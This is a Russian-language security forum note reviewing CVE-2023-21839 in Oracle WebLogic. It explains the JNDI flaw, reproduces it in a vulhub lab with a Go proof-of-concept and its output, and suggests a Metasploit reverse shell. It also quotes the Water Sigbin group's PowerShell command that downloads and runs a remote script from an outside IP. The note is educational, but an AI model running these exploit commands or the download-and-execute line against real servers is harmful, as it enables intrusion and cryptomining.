• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Заметка CVE-2023-21839 - краткий обзор и актуализация

Темы, которые НЕ подходят по объему под префикс "Статья"

CVE-2023-21839 - краткий обзор и актуализация

Без лишней воды, выдаем сухие факты, раз это у нас заметка. Кстати, специально для телеграма Knightpentest (админ крутой, можете и подписаться).

CVE-2023-21839 - уязвимость, которая была обнаружена ещё в начале 2023 года, вроде и исправлена, но до сих пор актуальна. Успешные атаки с использованием этой уязвимости могут привести к несанкционированному доступу к критическим данным или полному доступу ко всем данным, к которым есть доступ через Oracle WebLogic Server. Или к запуску произвольного кода.

Уязвимые версии: 12.2.1.3.0 - 14.1.1.0.0.

В середине мая 2024 года, киберпреступная группировка Water Sigbin использовала эту уязвимость для развертывания майнеров на удаленных машинах и кстати весьма успешно. Подробнее .

Краткая суть уязвимости


Корень проблемы здесь заключается в том, что протоколы WebLogic T3 и IIOP поддерживают JNDI для привязки и поиска удаленных объектов.

AD_4nXdHBhGQXE60PwK4CipejeSVO8_-kPxCFsY5rs4lDTFRXvTj1t79NXl9h1v1gxoPfxeMPIgSXDasPPy4PDXxqI6_MS47HRrXks32MKbrR0W1TMs4hDZgTAMJzwrIkzVjy1r4oJZvsRIuO6cNZmhrLHm96JD6


Уязвимость срабатывает в момент вызова ForeignOpaqueReference.getReferent() и происходит по следующему сценарию:
  1. Сначала класс javax.naming.initialcontext.java считывает тип — Hashtable.
  2. Злоумышленник в свою очередь создает новый тип Hashtable и передает weblogic.jndi.WLInitialContextFactory в INITIAL_CONTEXT_FACTORY в качестве параметров URL-адрес целевого сервера.
  3. Затем злоумышленник создает экземпляр InitialContext объекта, используя getInitialContext метод класса InitialContext.
  4. После злоумышленник получает функцию defaultInitCtx. Но функция defaultInitCtx не значение объекта, а ее класс реализации — WLContext().
  5. Используя метод bind злоумышенник связывает WLContext с вызовом ForeignOpaqueReference.getReferent(), который позволяет удаленно загрузить любой URL.
Естественно, вручную этого никто не делает и существует уже уйма PoC эксплоитов, один из которых мы сейчас и проверим.

Для начала запустим уязвимый сервер на нашей машине, сделать это можно с помощью репозитория vulndb, если у вас его нету:
Код:
git clone https://github.com/vulhub/vulhub.git

Переходим в директорию /Weblogic/CVE-2023/ и запускаем с помощью докера нашу уязвимую среду:
Код:
docker-compose up -d

Переходим по локальному IP адресу и нас должно встретить вот такое:

AD_4nXctn_HujbWVzDJSkA1VQLLfngyRKxLwzerZt76622xur47PyZ01bVLnVC2q2uPs65wYVQ3veK4qVx65MPD4hWUYbyf9lHPW9pLPGnfa-0FkYhGVIH5mm6XIQqcXWUQ7k4EzQ9oC63k42Mv97RkvcV39Hvjh


И существует несколько рабочих PoC эксплоитов для проверки этой уязвимости, но все сводятся к одному. Воспользуемся самым простым - CVE-2023-218839.

Все сводится к этим двум командам:
Код:
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/Allo

Сперва компилируем, а после запускаем эксплоит c необходимыми параметрами, -IP - это адрес атакуемого устройства, а -ldap является URL того ,что нам необходимо загрузить.

Перейдя в DNS-log атакуемого устройства, мы видим следующую картину:
Код:
CVE-2023-21839.exe -ip 192.168.25.129 -port 7001 -ldap ldap://dea684.dnslog.kz/allo
[*] your-ip: 192.168.25.129
[*] your-port: 7001
[*] your-ldap: ldap://dea684.dnslog.kz/allo
[*] weblogic 12
[*] id=2 LocateRequest
[*] id=3 RebindRequest
[*] id=4 RebindRequest
[*] id=5 LocateRequest
[*] id=6 ResolveRequest
[*] id=7 ResolveRequest


Успех. На данном этапе наш LDAP сервер не содержит ничего, но если злоумышленник его настроит и поместит туда какой-то эксплоит.

Допустим, злоумышленник разместил на LDAP сервредоносный Java-файл, который будет получен сервером WebLogic в ходе экплатуации. Серверы LDAP предназначены для размещения информации каталога службы, но в этом случае он будет содержать объект Java, который WebLogic будет использовать для получения информации о каталоге, что приведет к запуску нашего кода эксплойта. К слову, это может быть любой не профикшенный эксплоит.

Для самого банального примера, мы можем возпользоваться Метасплоитом с полезной нагрузкой в виде java/meterpreter/reverse_tcp с мультихандлером в качестве слушателя и получить обратную оболочку сервера. Или же мы можем поступить, как Water Sigbin и заставить сервер выполнить команду powershell, которая скачает и запустит вредоносный .ps1 скрипт.

Screenshot_47.png


В декодированном виде это:
Код:
powershell "IEX(New-Object Net.WebClient).DownloadString('http://185.172.128.146:443/bin.ps1')"

Сам же скрипт в свою очередь скачает .bat, а тот в свою очередь майнер. Очень простая, но работоспособная цепочка, чем-то похожа на BatLoader.

Возможностей уйма, уязвимость гибкая.

Выводы


Уязвимость проста, очень проста и это её главная проблема. И не смотря на то, что с момента её исправления прошло уже достаточно много времени, мы имеем достаточное количество уязвимых машин в сети. Мной было проведено небольшое исследование через Shodan и ZoomEye: уязвимых машин много, можете сами в этом убедиться. А тут уже заметке конец.
 
Последнее редактирование:
  • Нравится
Реакции: Дод
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!